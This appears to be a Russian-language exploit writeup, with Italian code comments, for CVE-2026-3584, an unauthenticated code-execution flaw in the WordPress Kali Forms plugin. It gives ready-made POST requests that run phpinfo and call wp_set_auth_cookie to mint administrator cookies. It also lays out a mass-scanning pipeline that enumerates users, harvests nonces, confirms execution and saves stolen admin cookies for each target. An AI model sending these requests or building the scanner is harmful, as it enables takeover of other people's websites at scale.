
CVE-2026-3584
🔥 Сводка об уязвимости
Плагин WordPress Kali Forms версий <= 2.4.9 содержит критическую уязвимость неаутентифицированного удалённого выполнения кода (RCE). Эта брешь позволяет неаутентифицированным атакующим выполнять произвольный PHP-код на сервере и получать полные права администратора через AJAX-эндпоинт kaliforms_form_process, открыто доступный без проверок авторизации.
Уязвимость находится в функции form_process, которая принимает контролируемые пользователем параметры (включая thisPermalink и entryCounter) и выполняет произвольные PHP-колбэки, что приводит к:
phpinfo(), system(), eval() и т.д.wp_set_auth_cookie() для получения административных сессийУязвимость проявляется в функции form_process плагина Kali Forms, которая обрабатывает AJAX-запросы. Уязвимый код доступен через:
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
Схема эксплуатации:
Незащищённый эндпоинт: эндпоинт /wp-admin/admin-ajax.php?action=kaliforms_form_process доступен неаутентифицированным пользователям через хук wp_ajax_nopriv_.
Контролируемые пользователем параметры:
data[thisPermalink] — может содержать имя произвольной PHP-функцииdata[entryCounter] — может содержать имя произвольной PHP-функцииdata[formId] — ID обрабатываемой формыВыполнение нефильтрованных колбэков: Уязвимый код выполняет PHP-колбэки без валидации:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Nessun controllo!
Цепочка эксплойта:
Attacker → POST Request → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP Code Execution → phpinfo() eseguito
↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
↓
Full Admin Access
Пример уязвимого запроса:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
Результат: сервер выполняет phpinfo() и возвращает полную информацию о конфигурации PHP.
Для повышения привилегий:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
Результат: WordPress выполняет wp_set_auth_cookie(user_id), где user_id часто соответствует formId, формируя действительные cookie административной сессии.
mass_scanner.py реализует автоматизированный конвейер из 4 этапов для полной эксплуатации уязвимости CVE-2026-3584:
┌────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────‚
│ MASS SCANNER PIPELINE │
├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────¦
│ │
│ Fase 1: Ricognizione API REST │
│ ├─ Enumera utenti: /wp-json/wp/v2/users │
│ └─ Enumera post: /wp-json/wp/v2/posts │
│ → Identifica user_id e post_id per escalation │
│ │
│ Fase 2: Scoperta Moduli │
│ ├─ Crawl sito (depth=2) │
│ ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms' │
│ ├─ Estrae nonce da JavaScript │
│ └─ Estrae formId da HTML │
│ → Trova tutti i moduli Kali Forms vulnerabili │
│ │
│ Fase 3: Test RCE │
│ ├─ Invia: data[thisPermalink]=phpinfo │
│ ├─ Verifica: 'PHP Version' in response │
│ └─ Salva: result/target_phpinfo.html │
│ → Conferma esecuzione codice remoto │
│ │
│ Fase 4: Escalation Privilegi │
│ ├─ Invia: data[entryCounter]=wp_set_auth_cookie │
│ ├─ Estrae: wordpress_logged_in + wordpress_sec cookies │
│ ├─ Verifica: Accesso a /wp-admin/ senza redirect │
│ └─ Salva: result_cookie/target.txt │
│ → Ottiene accesso amministratore completo │
│ │
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────